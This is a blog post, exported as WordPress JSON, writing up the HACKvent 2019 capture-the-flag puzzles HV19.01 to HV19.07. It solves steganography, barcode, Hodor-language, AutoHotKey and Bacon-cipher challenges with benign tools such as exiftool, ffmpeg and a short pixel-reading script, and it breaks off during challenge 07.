{"id":1172,"date":"2019-12-22T20:08:04","date_gmt":"2019-12-22T20:08:04","guid":{"rendered":"http:\/\/sigterm.ch\/?p=1172"},"modified":"2019-12-22T20:08:04","modified_gmt":"2019-12-22T20:08:04","slug":"hackvent-2019-write-up","status":"publish","type":"post","link":"https:\/\/sigterm.ch\/?p=1172","title":{"rendered":"HACKvent 2019 write-up"},"content":{"rendered":"\n<p>HACKvent\u2026 Initially, I didn&#8217;t want to participate at all &#8211; or at least not go all in and solve every challenge in time. I started solving the first ones and as the challenges became harder and of course more interesting I got more and more hooked. In the end I did solve them all, and in time.<\/p>\n\n\n<p>A big part of the CTF are interactions and discussions with other participants. Thanks and shouts to <strong>ludus<\/strong>, <strong>jokker<\/strong>, <strong>0xI<\/strong>, <strong>multifred, veganjay<\/strong> and others for the good discussions, support and motivation!<\/p>\n\n\n<p>This year the event ran on the brand new Hacking Lab 2.0. There are still some minor issues, like the responsive design which can be optimized. The session timeout was a bit short for my taste, but hey Security! \ud83d\ude04 Issues which occurred with some challenges were not Hacking Lab 2.0 related. All in all I got a very good impression of the new HL. <\/p>\n\n\n<p>I will never understand how the ranking works in Hacking-Lab. There were three different rankings (the one in the registered event, <a href=\"https:\/\/ranking.academy.hacking-lab.com\/\">a public one<\/a> and a <a href=\"https:\/\/hv19.idocker.hacking-lab.com\/\">statistics page<\/a>) and all three seemed to have a different ordering. \ud83d\ude05 Two of the rankings are shown in the print-screens below. The black &amp; green statistics page is probably the most accurate one. At least with the diff in minutes to the fastest perfect scorer the ranking looks about right.<\/p>\n\n\n<p>I am very happy to have finished HACKvent as perfect scorer!<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"486\" height=\"523\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-32.png\" alt=\"\" class=\"wp-image-1339\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-32.png 486w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-32-279x300.png 279w\" sizes=\"auto, (max-width: 486px) 100vw, 486px\" \/><figcaption><a href=\"https:\/\/ranking.academy.hacking-lab.com\/\">https:\/\/ranking.academy.hacking-lab.com\/<\/a><\/figcaption><\/figure><\/div>\n\n\n<!--more-->\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"388\" height=\"583\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-33.png\" alt=\"\" class=\"wp-image-1340\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-33.png 388w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-33-200x300.png 200w\" sizes=\"auto, (max-width: 388px) 100vw, 388px\" \/><figcaption><a href=\"https:\/\/hv19.idocker.hacking-lab.com\/\">https:\/\/hv19.idocker.hacking-lab.com\/<\/a><\/figcaption><\/figure><\/div>\n\n\n<h1 class=\"wp-block-heading\">HV19.01 censored (Author: M &#8212; Level: easy)<\/h1>\n\n\n<p><strong>Description:<\/strong> <br \/>I got this little image, but it looks like the best part got censored on the way. Even the tiny preview icon looks clearer than this! Maybe they missed something that would let you restore the original content?<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"256\" height=\"256\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/f182d5f0-1d10-4f0f-a0c1-7cba0981b6da.jpg\" alt=\"\" class=\"wp-image-1174\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/f182d5f0-1d10-4f0f-a0c1-7cba0981b6da.jpg 256w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/f182d5f0-1d10-4f0f-a0c1-7cba0981b6da-150x150.jpg 150w\" sizes=\"auto, (max-width: 256px) 100vw, 256px\" \/><figcaption>Censored by Santa!<\/figcaption><\/figure><\/div>\n\n\n<p><strong>Solution:<\/strong> <br \/>The description already tells us the solution (Even the tiny preview icon looks clearer than this&#8230;) We can extract the thumbnail from the image to get the QR Code containing the flag:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ exiftool -b -ThumbnailImage f182d5f0-1d10-4f0f-a0c1-7cba0981b6da.jpg > thumb.jpg<\/pre>\n\n\n<div class=\"wp-block-image is-style-default\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/thumb.jpg\" alt=\"\" class=\"wp-image-1175\" width=\"55\" height=\"55\"\/><\/figure><\/div>\n\n\n<p><strong>Flag: HV19{just-4-PREview!}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.02 Triangulation (Author: drschottky &#8212; Level: easy)<\/h1>\n\n\n<p class=\"has-text-align-left\"><strong>Description:<\/strong> <br \/>Today we give away decorations for your Christmas tree. But be careful and do not break it.<\/p>\n\n\n<p class=\"has-text-align-left\"><strong>Resources:<br \/><\/strong><a href=\"https:\/\/sigterm.ch\/hv19\/a5f47ab8-f151-4741-b061-d2ab331bf641.zip\">a5f47ab8-f151-4741-b061-d2ab331bf641.zip<\/a><\/p>\n\n\n<p><strong>Solution:<\/strong> <br \/>I solved this one on my mobile phone with the following Android app: <a href=\"https:\/\/play.google.com\/store\/apps\/details?id=com.performance.meshview&amp;hl=en\">https:\/\/play.google.com\/store\/apps\/details?id=com.performance.meshview&amp;hl=en<\/a> <br \/>First, I used the &#8216;separate&#8217; function and deleted the two outer layers. After these steps a QR Code became visible.<\/p>\n\n\n<div class=\"wp-block-group\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-1.png\"><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"300\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-1-150x300.png\" alt=\"\" class=\"wp-image-1181\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-1-150x300.png 150w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-1-512x1024.png 512w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-1.png 640w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a><\/figure><\/div>\n<\/div><\/div>\n\n\n<div class=\"wp-block-group\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-medium\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-2.png\"><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"300\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-2-150x300.png\" alt=\"\" class=\"wp-image-1182\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-2-150x300.png 150w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-2-512x1024.png 512w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-2.png 640w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a><\/figure><\/div>\n<\/div><\/div>\n\n\n<div class=\"wp-block-group\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-medium\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image.png\"><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"300\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-150x300.png\" alt=\"\" class=\"wp-image-1180\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-150x300.png 150w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-512x1024.png 512w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image.png 640w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a><\/figure><\/div>\n<\/div><\/div>\n\n\n<p>This is an Aztec Barcode which can be decoded with several tools, one being this online decoder: <a href=\"https:\/\/www.onlinebarcodereader.com\">https:\/\/www.onlinebarcodereader.com<\/a> <\/p>\n\n\n<p><strong>Flag: HV19{Cr4ck_Th3_B411!}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.03 Hodor, Hodor, Hodor (Author: otaku feat. trolli101 &#8212; Level: easy)<\/h1>\n\n\n<p><strong>Description: <\/strong><\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"256\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/hodor.jpg\" alt=\"\" class=\"wp-image-1297\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/hodor.jpg 640w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/hodor-300x120.jpg 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure><\/div>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$HODOR: hhodor. Hodor. Hodor!?  = `hodor?!? HODOR!? hodor? Hodor oHodor. hodor? , HODOR!?! ohodor!?  dhodor? hodor odhodor? d HodorHodor  Hodor!? HODOR HODOR? hodor! hodor!? HODOR hodor! hodor? !\nhodor?!? Hodor  Hodor Hodor? Hodor  HODOR  rhodor? HODOR Hodor!?  h4Hodor?!? Hodor?!? 0r hhodor?  Hodor!? oHodor?! hodor? Hodor  Hodor! HODOR Hodor hodor? 64 HODOR Hodor  HODOR!? hodor? Hodor!? Hodor!? .\nHODOR?!? hodor- hodorHoOodoOor Hodor?!? OHoOodoOorHooodorrHODOR hodor. oHODOR... Dhodor- hodor?! HooodorrHODOR HoOodoOorHooodorrHODOR RoHODOR... HODOR!?! 1hodor?! HODOR... DHODOR- HODOR!?! HooodorrHODOR Hodor- HODORHoOodoOor HODOR!?! HODOR... DHODORHoOodoOor hodor. Hodor! HoOodoOorHodor HODORHoOodoOor 0Hooodorrhodor HoOodoOorHooodorrHODOR 0=`;\nhodor.hod(hhodor. Hodor. Hodor!? );<\/pre>\n\n\n<p><strong>Solution: <\/strong><br \/>After some googling I found that there is a <a href=\"http:\/\/www.hodor-lang.org\/\">Hodor programming language<\/a>&#8230; There is an online tool which can run many different programming languages, Hodor included: <a href=\"https:\/\/tio.run\/#hodor\">https:\/\/tio.run\/#hodor<\/a><\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">Awesome, you decoded Hodors language!\nAs sis a real h4xx0r he loves base64 as well.\nSFYxOXtoMDFkLXRoMy1kMDByLTQyMDQtbGQ0WX0=<\/pre>\n\n\n<p>The Flag is Base64 encoded and can be decoded with <a href=\"https:\/\/gchq.github.io\/CyberChef\/#recipe=Magic(3,false,false,'')&amp;input=U0ZZeE9YdG9NREZrTFhSb015MWtNREJ5TFRReU1EUXRiR1EwV1gwPQ\">CyberChef<\/a>.<\/p>\n\n\n<p><strong>Flag: HV19{h01d-th3-d00r-4204-ld4Y}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.04 password policy circumvention (Author: DanMcFly &#8212; Level: easy)<\/h1>\n\n\n<p><strong>Description<\/strong>: <br \/>Santa released a new password policy (more than 40 characters, upper, lower, digit, special).<br \/>The elves can&#8217;t remember such long passwords, so they found a way to continue to use their old (bad) password:<\/p>\n\n\n<pre class=\"wp-block-preformatted\">merry christmas geeks<\/pre>\n\n\n<p><strong>Resources:<br \/><\/strong><a href=\"https:\/\/sigterm.ch\/stuff\/hv19\/6473254e-1cb3-444e-9dac-5baeaaaf6d11.zip\">6473254e-1cb3-444e-9dac-5baeaaaf6d11.zip<\/a><\/p>\n\n\n<p><strong>Solution<\/strong>: <br \/>The ZIP archive contains an <a href=\"https:\/\/www.autohotkey.com\/\">AutoHotKey<\/a> file.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ cat HV19-PPC.ahk\n::merry::\nFormatTime , x,, MM MMMM yyyy\nSendInput, %x%{left 4}{del 2}+{right 2}^c{end}{home}^v{home}V{right 2}{ASC 00123}\nreturn\n::christmas::\nSendInput HV19-pass-w0rd\nreturn\n:*?:is::\nSend - {del}{right}4h\n:*?:as::\nSend {left 8}rmmbr{end}{ASC 00125}{home}{right 10}\nreturn\n:*?:ee::\nSend {left}{left}{del}{del}{left},{right}e{right}3{right 2}e{right}{del 5}{home}H{right 4}\nreturn\n:*?:ks::\nSend {del}R3{right}e{right 2}3{right 2} {right 8} {right} the{right 3}t{right} 0f{right 3}{del}c{end}{left 5}{del 4}\nreturn\n::xmas::\nSendInput, -Hack-Vent-Xmas\nreturn\n::geeks::\nSend -1337-hack\nreturn<\/pre>\n\n\n<p>The AHK file can be loaded with AutoHotkey. The scripts recognizes the pressed keys and replaces &#8220;merry christmas geeks&#8221; with a valid password. The valid password is the flag we are looking for. It is important not to type too fast, otherwise AutoHotkey will not replace the password correctly. But when done right, the flag appears:<\/p>\n\n\n<p><strong>Flag: HV19{R3memb3r, rem3mber &#8211; the 24th 0f December}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.05 Santa Parcel Tracking (Author: inik &#8212; Level: easy)<\/h1>\n\n\n<p><strong>Description:<\/strong> <br \/>To handle the huge load of parcels Santa introduced this year a parcel tracking system. He didn&#8217;t like the black and white barcode, so he invented a more solemn barcode. Unfortunately the common barcode readers can&#8217;t read it anymore, it only works with the pimped models santa owns. Can you read the barcode<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"759\" height=\"126\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/parcel.png\" alt=\"\" class=\"wp-image-1298\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/parcel.png 759w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/parcel-300x50.png 300w\" sizes=\"auto, (max-width: 759px) 100vw, 759px\" \/><\/figure><\/div>\n\n\n<p><strong>Solution:<\/strong> <br \/>The flag is hidden in the colors of the barcode. The blue value out of RGB is the character code of the hidden message. I created a python script, which reads the image pixel by pixel from left to right and gets the message hidden in the image.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">from PIL import Image\nim = Image.open('code.png','r')\nwidth, height = im.size\npix_val = list(im.getdata())\nres = \"\"\nlast = \"\"\ncounter = 0\nwhile counter &lt;= width:\n    x = pix_val[counter][2]\n    if x >= 32 and x &lt;= 132 and x != last:\n        res += chr(x)\n    last = x\n    counter += 1\nprint(res)<\/pre>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ python sol.py\nX8YIOF0ZP4S8HV19{D1fficult_to_g3t_a_SPT_R3ader}S1090OMZE0E3NFP6E<\/pre>\n\n\n<p><strong>Flag: HV19{D1fficult_to_g3t_a_SPT_R3ader}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.06 bacon and eggs (Author: brp64 &#8212; Level: easy)<\/h1>\n\n\n<p><strong>Description: <\/strong><\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"501\" height=\"326\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/parcel.jpg\" alt=\"\" class=\"wp-image-1299\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/parcel.jpg 501w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/parcel-300x195.jpg 300w\" sizes=\"auto, (max-width: 501px) 100vw, 501px\" \/><\/figure><\/div>\n\n\n<p><em>F<\/em>ra<em>n<\/em>cis Baco<em>n<\/em>&nbsp;<em>w<\/em>a<em>s<\/em>&nbsp;<em>a<\/em>n E<em>ng<\/em>lish ph<em>i<\/em>l<em>os<\/em>o<em>p<\/em>her a<em>n<\/em>d&nbsp;<em>s<\/em>tat<em>e<\/em>sm<em>a<\/em>n w<em>h<\/em>o se<em>rve<\/em>d&nbsp;<em>a<\/em>s At<em>t<\/em>or<em>n<\/em>ey Gen<em>e<\/em>ral and as&nbsp;<em>L<\/em>or<em>d<\/em>&nbsp;<em>Ch<\/em>an<em>ce<\/em>l<em>l<\/em>or of&nbsp;<em>En<\/em>g<em>l<\/em>an<em>d<\/em>. Hi<em>s<\/em>&nbsp;<em>w<\/em>orks ar<em>e<\/em>&nbsp;c<em>red<\/em>it<em>e<\/em>d w<em>ith<\/em>&nbsp;d<em>e<\/em>ve<em>lo<\/em>pi<em>ng<\/em>&nbsp;<em>t<\/em>h<em>e<\/em>&nbsp;sci<em>e<\/em>nt<em>i<\/em>fic me<em>t<\/em>hod and re<em>m<\/em>ai<em>ned<\/em>&nbsp;in<em>fl<\/em>u<em>en<\/em>ti<em>al<\/em>&nbsp;th<em>rou<\/em>gh&nbsp;<em>t<\/em>he s<em>cien<\/em>tific&nbsp;<em>r<\/em>ev<em>o<\/em>l<em>u<\/em>ti<em>o<\/em>n.&nbsp;<em>B<\/em>a<em>co<\/em>n h<em>as<\/em>&nbsp;<em>b<\/em>e<em>e<\/em>n ca<em>l<\/em>led&nbsp;<em>th<\/em>e&nbsp;<em>f<\/em>ath<em>e<\/em>r o<em>f<\/em>&nbsp;emp<em>iric<\/em>i<em>s<\/em>m.&nbsp;<em>Hi<\/em>s&nbsp;<em>wor<\/em>ks ar<em>g<\/em>ued for th<em>e<\/em>&nbsp;po<em>ssi<\/em>bi<em>li<\/em>t<em>y<\/em>&nbsp;of s<em>c<\/em>ie<em>n<\/em>tifi<em>c<\/em>&nbsp;<em>kno<\/em>wl<em>edg<\/em>e b<em>a<\/em>se<em>d<\/em>&nbsp;onl<em>y<\/em>&nbsp;u<em>p<\/em>on i<em>n<\/em>du<em>c<\/em>t<em>i<\/em>ve&nbsp;<em>r<\/em>ea<em>s<\/em>onin<em>g<\/em>&nbsp;<em>a<\/em>nd c<em>aref<\/em>u<em>l<\/em>&nbsp;o<em>bs<\/em>er<em>v<\/em>ation o<em>f<\/em>&nbsp;<em>e<\/em>v<em>e<\/em>nt<em>s<\/em>&nbsp;in&nbsp;<em>na<\/em>tur<em>e<\/em>. Mo<em>st<\/em>&nbsp;<em>i<\/em>mp<em>ort<\/em>an<em>t<\/em>l<em>y<\/em>,&nbsp;<em>he<\/em>&nbsp;a<em>rgue<\/em>d sc<em>i<\/em>en<em>c<\/em>e co<em>uld<\/em>&nbsp;<em>b<\/em>e&nbsp;<em>a<\/em>c<em>hi<\/em>eved by us<em>e<\/em>&nbsp;of a&nbsp;<em>s<\/em>ce<em>p<\/em>t<em>ical<\/em>&nbsp;a<em>nd<\/em>&nbsp;me<em>t<\/em>hod<em>i<\/em>ca<em>l<\/em>&nbsp;<em>a<\/em>pp<em>roa<\/em>ch wh<em>er<\/em>eby&nbsp;<em>s<\/em>cientist<em>s<\/em>&nbsp;ai<em>m<\/em>&nbsp;t<em>o<\/em>&nbsp;avo<em>i<\/em>d m<em>i<\/em>sl<em>ead<\/em>in<em>g<\/em>&nbsp;themsel<em>ve<\/em>s.&nbsp;<em>A<\/em>lth<em>oug<\/em>h&nbsp;<em>h<\/em>is&nbsp;<em>p<\/em>ra<em>c<\/em>tic<em>a<\/em>l i<em>d<\/em>e<em>a<\/em>s ab<em>out<\/em>&nbsp;<em>s<\/em>u<em>ch<\/em>&nbsp;<em>a<\/em>&nbsp;<em>m<\/em>et<em>h<\/em>od,&nbsp;<em>t<\/em>he B<em>a<\/em>con<em>i<\/em>an meth<em>o<\/em>d, d<em>i<\/em>d no<em>t<\/em>&nbsp;have&nbsp;<em>a<\/em>&nbsp;l<em>o<\/em>n<em>g<\/em>&#8211;<em>la<\/em>s<em>t<\/em>ing&nbsp;<em>i<\/em>nfluen<em>c<\/em>e,&nbsp;<em>th<\/em>e&nbsp;<em>g<\/em>e<em>ne<\/em>ral&nbsp;<em>i<\/em>dea&nbsp;<em>of<\/em>&nbsp;<em>t<\/em>he imp<em>o<\/em>rta<em>n<\/em>ce and pos<em>s<\/em>i<em>b<\/em>il<em>it<\/em>y o<em>f<\/em>&nbsp;a s<em>c<\/em>ept<em>i<\/em>cal methodology makes Bacon the father of the scientific method. This method was a new rhetorical and theoretical framework for science, the practical details of which are still central in debates about science and methodology.<\/p>\n\n\n<p>Bacon was the first recipient of the Queen&#8217;s counsel designation, which was conferred in 1597 when Elizabeth I of England reserved Bacon as her legal advisor. After the accession of James VI and I in 1603, Bacon was knighted. He was later created Baron Verulam in 1618 and Viscount St. Alban in 1621. Because he had no heirs, both titles became extinct upon his death in 1626, at 65 years. Bacon died of pneumonia, with one account by John Aubrey stating that he had contracted the condition while studying the effects of freezing on the preservation of meat. He is buried at St Michael&#8217;s Church, St Albans, Hertfordshire.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">Born: January 22\nDied: April 9\nMother: Lady Anne\nFather: Sir Nicholas\nSecrets: unknown      \t \t  \t \t    \t    \t   \t       \t  <\/pre>\n\n\n<p><strong>Solution<\/strong>: <br \/>According to the description and title it is clear that the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Bacon%27s_cipher\">Bacon Cipher <\/a>was applied to this text. <\/p>\n\n\n<ul class=\"wp-block-list\"><li>Replace italic letters with &#8216;a&#8217;<\/li><li>Replace non italic letters with &#8216;b&#8217;<\/li><\/ul>\n\n\n<p>This results in roughly this code:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">BAAABAAAAAABBAABAABAAAAAAABABAABAAAABAABAABAABAAABAABBBABAAABAAABAAAABAAAAAAAABAABBABABBAAAAAABBAABBBAABAAAAAAABABABAAABABBABBAABAAABBBABAAABAAABAAAABAAAAAAAABAABBABABBAABAABAAABBBAABAAABBBAAAAAABAAABBAAABBABAAABBABBAAAAAAABBABAAABAAABAABBBBAABBBABABAAAABAAAAAAAABAABBBAABBAAAAABAABAAAABBBAAABBBAABAABAAAAABAAABAAABBAAABABAAAABABBABBBAABABAAABAAAAAABBAABBBAABAAAABAABBABABBABABABABABABBAAAAAABAAABBBAABABAAAAAAAAABAAABAABABABBABAAABAAABAABAAABBBAAAABBAAAAAAAAAAAABAABAABAABAABAABABAAABAAAAAABBAAAAABBBAABBBAAABAABAABAABBABBBAABBBAAABAABAAAAAAABAAAAAABAAABAABAAAABABABBABBAAAAAAAAAABABAABABAAAABAAABBBAAAAABAAAAAAAAAAAABABAABAAABAABAAAAAAAAAAAAAA<\/pre>\n\n\n<p>I decoded the bacon code with <a href=\"https:\/\/www.dcode.fr\/bacon-cipher\">https:\/\/www.dcode.fr\/bacon-cipher<\/a> and got the message: <\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">SANTALIKESHISBACONBUTALSOTHISBACONTHEPASSWORDISHUXBACPNCIPHERISSIMPLEBUTCOOLXREPLACEXWITHBRACKETSANDUSEUPPERCASEFORALLCHARACTERAA<\/pre>\n\n\n<p><strong>Flag: HV19{BACONCIPHERISSIMPLEBUTCOOL}<\/strong><\/p>\n\n\n<h2 class=\"wp-block-heading\">Hidden Flag 01<\/h2>\n\n\n<p>The first hidden flag of HACKvent 2019 was inside this challenge. The text at the bottom of the description had whitespaces and tabs in it. Whitespace steganography was used to hide the extra flag.<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-3.png\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"174\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-3-1024x174.png\" alt=\"\" class=\"wp-image-1190\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-3-1024x174.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-3-300x51.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-3-768x131.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-3.png 1398w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure><\/div>\n\n\n<p>I used <a href=\"http:\/\/manpages.ubuntu.com\/manpages\/bionic\/man1\/stegsnow.1.html\">Stegsnow<\/a> to solve this challenge.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ stegsnow -C input.txt\nHV19{1stHiddenFound}<\/pre>\n\n\n<p><strong>Flag: HV19{1stHiddenFound}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.07 Santa Rider (Author: inik &#8212; Level: easy)<\/h1>\n\n\n<p><strong>Description:<\/strong> <br \/>Santa is prototyping a new gadget for his sledge. Unfortunately it still has some glitches, but look for yourself.<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/Screenshot-from-2019-12-22-21-29-29.png\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"585\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/Screenshot-from-2019-12-22-21-29-29-1024x585.png\" alt=\"\" class=\"wp-image-1192\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/Screenshot-from-2019-12-22-21-29-29-1024x585.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/Screenshot-from-2019-12-22-21-29-29-300x171.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/Screenshot-from-2019-12-22-21-29-29-768x439.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/Screenshot-from-2019-12-22-21-29-29-1536x877.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/Screenshot-from-2019-12-22-21-29-29.png 1698w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure><\/div>\n\n\n<p><strong>Resources:<br \/><\/strong>For easy download get: <a href=\"https:\/\/sigterm.ch\/stuff\/hv19\/3dbe0c12-d794-4f79-ae67-09ac27bd099d.zip\">3dbe0c12-d794-4f79-ae67-09ac27bd099d.zip<\/a><\/p>\n\n\n<p><strong>Solution:<\/strong> <br \/>We can clearly see pattern how the leds light up. The leds light up from right to left and back in a row. In the middle of the video file there is a &#8220;glitch&#8221;. We can see the lights glowing up in a very fast and weird way. The glitch represents the flag in binary form. To read all the binary values in the video I extracted all the frames from the video.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ ffmpeg -i 3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4 thumb%04d.jpg -hide_banner<\/pre>\n\n\n<p>Afterwards I went over all frames of the video and wrote down the binary message:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" 